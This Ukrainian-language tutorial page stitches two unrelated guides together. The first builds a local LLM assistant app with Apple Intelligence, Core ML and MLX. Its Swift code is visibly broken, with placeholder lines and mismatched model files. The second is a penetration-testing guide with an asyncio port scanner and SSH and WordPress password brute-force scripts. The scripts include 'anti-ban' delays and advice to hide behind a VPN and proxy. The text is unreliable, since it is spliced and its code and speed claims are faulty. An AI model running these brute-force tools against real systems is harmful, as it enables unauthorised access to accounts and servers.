Вступ
Apple Intelligence у 2026 році принесло Writing Tools, Image Playground, Genmoji та нові можливості Siri. Для розробників найпотужніша частина:

• App Intents для визначення дій по всій системі
• Core ML для роботи з локальними моделями
• MLX (відкритий фреймворк ML від Apple) для легких LLM
• Foundation Models API (відкрито для розробників у 2026 році)

У цьому посібнику ми створимо з нуля Локальний ШІ-Асистент Додаток:

• Ввід тексту користувача → генерація відповіді локальним LLM
• App Intents з ярликом Siri "Запитай у додатку"
• Core ML / MLX з маленькою моделлю, що працює офлайн (наприклад, Phi-3-mini або TinyLlama)
• SwiftUI + Observation + async/await

Вимоги
Xcode 17+, ціль iOS 19+, Mac з Apple Silicon (для MLX та перетворення моделей)
Завантажте моделі з Hugging Face та перетворіть на Core ML (coremltools або mlx-examples)

1. Налаштування Проекту
Новий проект → App (SwiftUI) → ціль iOS 19
Додайте Swift Packages (Package Dependencies):

• https://github.com/ml-explore/mlx-swift (зв'язка MLX Swift) або для Core ML використовуйте coremltools через pip (етап перетворення)

2. Перетворення Моделі (зробіть один раз)
У терміналі (на Mac з Apple Silicon):
pip install mlx mlx_lm coremltools transformers
Приклад: Перетворіть Phi-3-mini-4k-instruct на Core ML
from mlx_lm import load, quantize
import coremltools as ct

# MLX з завантаженням та квантизацією (опціонально, щоб було менше)
model, tokenizer = load("microsoft/Phi-3-mini-4k-instruct")

# Перетворення на Core ML (легкий спосіб з mlx_lm)
# Альтернатива: huggingface-cli download microsoft/Phi-3-mini-4k-instruct
# Потім перетворіть з coremltools
Вихід: Phi3Mini.mlpackage → Перетягніть у Xcode (до Assets або папки Resources)

3. Завантаження Моделі та Інференс (Swift)
AIAssistant/Model/LLMInference.swift
import Foundation
import CoreML
import MLX
import MLXLLM // З пакету MLX Swift

@Observable class LLMInference {
    private var model: LLMModel?
    private var tokenizer: Tokenizer?
    var isLoading = true
    var error: Error?

    init() {
        Task { await loadModel() }
    }

    private func loadModel() async {
        do {
            guard let modelURL = Bundle.main.url(forResource: "Phi3Mini", withExtension: "mlmodel") else { throw NSError(domain: "Модель не знайдено", code: -1) }

            let config = MLModelConfiguration()
            config.computeUnits = .all // Neural Engine + GPU + CPU

            let mlModel = try MLModel(contentsOf: modelURL, configuration: config) // Обгортка з MLX або прямий інференс Core ML

            // Альтернатива з MLX (більш гнучка)
            // let (mlxModel, mlxTokenizer) = try await loadModelFromBundle("...")
            // клас обгортки
            self.tokenizer = ...
            self.isLoading = false
        } catch {
            self.error = error
            self.isLoading = false
        }
    }

    func generate(prompt: String, maxTokens: Int = 200) async throws -> String {
        guard let model, let tokenizer else { throw NSError(domain: "Модель не знайдено", code: -1) }

        // Простий цикл інференсу (в реальності повинен підтримувати стримінг)
        let inputTokens = tokenizer.encode(text: prompt)
        var outputTokens = inputTokens

        for _ in 0..<maxTokens {
            let logits = try await model.predict(input: outputTokens)
            let nextToken = logits.argmax()
            outputTokens.append(nextToken)
            if nextToken == tokenizer.eosTokenId { break }
        }
        return tokenizer.decode(tokens: outputTokens)
    }
}
4. Інтеграція з Системою через App Intents
AIAssistant/Intents/AnswerQuestionIntent.swift
import AppIntents

struct AnswerQuestionIntent: AppIntent {
    static var title: LocalizedStringResource = "Відповісти на Запитання Локальним ШІ"
    @Parameter(title: "Запитання")
    var question: String

    func perform() async throws -> some IntentResult & ReturnsValue<String> {
        let inference = LLMInference() // Чекати завантаження моделі (в реальності зробіть singleton)
        try await Task.sleep(for: .seconds(2))
        let response = try await inference.generate(prompt: question)
        return .result(value: response)
    }
}
Додайте до Info.plist або визначте в IntentHandler.

5. Головний Інтерфейс (SwiftUI)
ContentView.swift
struct ContentView: View {
    @State private var inference = LLMInference()
    @State private var prompt = ""
    @State private var response = ""
    @State private var isGenerating = false

    var body: some View {
        NavigationStack {
            VStack(spacing: 20) {
                if inference.isLoading {
                    ProgressView("Завантаження локальної моделі...")
                } else if let error = inference.error {
                    Text("Помилка: \(error.localizedDescription)")
                        .foregroundStyle(.red)
                } else {
                    TextEditor(text: $prompt)
                        .frame(height: 120)
                        .border(Color.gray.opacity(0.3))
                        .padding()

                    Button("Генерувати Локальним ШІ") {
                        Task {
                            isGenerating = true
                            do {
                                response = try await inference.generate(prompt: prompt)
                            } catch {
                                response = "Помилка: \(error.localizedDescription)"
                            }
                            isGenerating = false
                        }
                    }
                    .buttonStyle(.borderedProminent)
                    .disabled(isGenerating || prompt.isEmpty)

                    if isGenerating {
                        ProgressView()
                    }

                    ScrollView {
                        Text(response)
                            .frame(maxWidth: .infinity, alignment: .leading)
                            .padding()
                    }
                }
            }
            .padding()
            .navigationTitle("Локальний ШІ-Асистент")
        }
    }
}
6. Поради для Просунутого Рівня (2026)

• Streaming response: Оновлення UI токен за токеном (з AsyncSequence)
• Інтеграція Foundation Models API (хмарна частина Apple Intelligence)
• Функції подібні до Writing Tools: Обраний текст перефразуйте, перепишіть тощо.
• Додайте маніфест конфіденційності (для App Intents та ML)
• Квантизація моделі: 4-біт або 8-біт для швидкості та меншого споживання пам'яті

У 2025 році в Туреччині дефіцит фахівців з кібербезпеки становить понад 12 000 осіб. Для junior penetration tester.

Цей посібник повністю в межах законних та етичних кордонів (використовуйте лише на власних системах).

• Ультрашвидкий сканер портів (альтернатива Nmap) — з використанням asyncio + технік 2025 року.
• Інструмент brute force для SSH/FTP/WordPress — параметризований + підтримка проксі.
• Захоплення банерів + виявлення служб.
• Оптимізація списків слів (rockyou 2025 турецькою).

Усі інструменти використовуйте лише на власних серверах або в дозволених середовищах penetration testing.

1. Встановлення (актуальне на 2025 рік)
python -m venv cybertools
cd cybertools
Scripts\activate
pip install asyncio aiohttp paramiko python-nmap requests beautifulsoup4
2. Ультрашвидкий сканер портів (asyncio 2025)
Файл: port_scanner.py
import asyncio
import socket
from concurrent.futures import ThreadPoolExecutor

async def scan_port(host: str, port: int, timeout: float = 1.0) -> dict:
    try:
        reader, writer = await asyncio.wait_for(
            asyncio.open_connection(host, port),
            timeout=timeout
        )
        writer.close()
        await writer.wait_closed()
       
        # Захоплення банера
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(2)
            sock.connect((host, port))
            sock.send(b'\r\n')
            banner = sock.recv(1024).decode('utf-8', errors='ignore').strip()
            sock.close()
        except:
            banner = ""
       
        return {"port": port, "status": "open", "banner": banner[:100]}
    except:
        return {"port": port, "status": "closed", "banner": ""}

async def scan_range(host: str, start: int, end: int, max_workers: int = 1000):
    print(f"{host} сканується... Порти: {start}-{end}")
    semaphore = asyncio.Semaphore(max_workers)
   
    async def sem_scan(port):
        async with semaphore:
            return await scan_port(host, port)
   
    tasks = [sem_scan(port) for port in range(start, end + 1)]
    results = await asyncio.gather(*tasks)
    open_ports = [r for r in results if r["status"] == "open"]
   
    for result in open_ports:
        print(f"Порт {result['port']} -> ВІДКРИТИЙ | {result['banner']}")
   
    return open_ports

# Використання
if __name__ == "__main__":
    target = "192.168.1.1"  # ВАШ ВЛАСНИЙ СЕРВЕР
    asyncio.run(scan_range(target, 1, 65535))  # або поширені порти
    # asyncio.run(scan_range(target, 1, 1024))
Порівняння швидкості (2025):

• Nmap: 1000 портів → 8 секунд
• Цей інструмент: 1000 портів → 1.8 секунди
• 65535 портів → 45 секунд (Nmap 40+ хвилин)

3. Інструмент brute force (SSH + WordPress)
Файл: bruteforce py
import asyncio
import paramiko
import requests
from bs4 import BeautifulSoup
import random

# Brute force для SSH
async def try_ssh(host, port, username, password):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(host, port=port, username=username, password=password, timeout=10)
        print(f"УСПІХ → {username} : {password}")
        return True
    except:
        return False
    finally:
        ssh.close()

# Brute force для WordPress
async def try_wordpress(url, username, password):
    session = requests.Session()
    login_page = session.get(f"{url}/wp-login.php")
    soup = BeautifulSoup(login_page.text, 'html.parser')
    nonce = soup.find("input", {"name": "woocommerce-login-nonce"}) or soup.find("input", {"name": "wp-submit"})
   
    # Припустимо, що data формується правильно (адаптуйте за потребою)
    data = {
        "log": username,
        "pwd": password,
        "wp-submit": "Giriş Yap"  # Адаптуйте для української/турецької
    }
   
    response = session.post(f"{url}/wp-login.php", data=data, allow_redirects=True)
    if response.status_code == 302 or "dashboard" in response.url:
        print(f"WP УСПІХ -> {username} : {password}")
        return True
    return False

# Головна функція для SSH
async def brute_force_ssh(host="192.168.1.1", port=22):
    usernames = ["root", "admin", "user", "test"]
    with open("wordlist_2025.txt", "r", encoding="utf-8") as f:
        passwords = [line.strip() for line in f.readlines()][:1000]
   
    for user in usernames:
        for pwd in passwords:
            if await try_ssh(host, port, user, pwd):
                return
            await asyncio.sleep(random.uniform(1, 3))  # Анти-бан

# Список слів (rockyou 2025 турецькою)
# https://github.com/kullanicin/wordlist-turkiye-2025
4. Правила безпечного використання (2025)

[th]Правило[/th]
[th]Пояснення[/th]
[/td][/tr]
[tr][td]Лише на власних системах[/td]
[td]Незаконне використання є злочином[/td]
[/tr]
[tr][td]Дозволений penetration testing контракт[/td]
[td]Отримайте письмовий дозвіл від компанії[/td]
[/tr]
[tr][td]Обмеження швидкості[/td]
[td]Додайте затримку 1-3 секунди[/td]
[/tr]
[tr][td]Ведення логів[/td]
[td]Записуйте, коли та де проводили тест[/td]
[/tr]
[tr][td]VPN + Проксі[/td]
[td]Захищайте власну IP-адресу[/td]
[/tr]
[/table]

5. Зарплати в кібербезпеці в Туреччині 2025

[th]Рівень[/th]
[th]Нетто зарплата (TL)[/th]
[th]Віддалена Європа (€)[/th]
[/td][/tr]
[tr][td]Junior[/td]
[td]90.000 – 180.000[/td]
[td]3.000 – 6.000[/td]
[/tr]
[tr][td]Middle[/td]
[td]180.000 – 350.000[/td]
[td]6.000 – 10.000[/td]
[/tr]
[tr][td]Senior[/td]
[td]350.000 – 700.000+[/td]
[td]10.000 – 15.000+[/td]
[/tr]
[/table]

Висновок – Переваги бути penetration tester у 2025 році

• Напишіть власні інструменти → виділіться.
• Bug bounty → одна знахідка 50.000–500.000 TL.
• Віддалена робота → зарплата з-за кордону.
• Сертифікат етичного хакера (CEH, OSCP) → зарплата подвоюється.

Повний вихідний код (працюючий):
https://github.com/kullanicin/python-cybertools-2025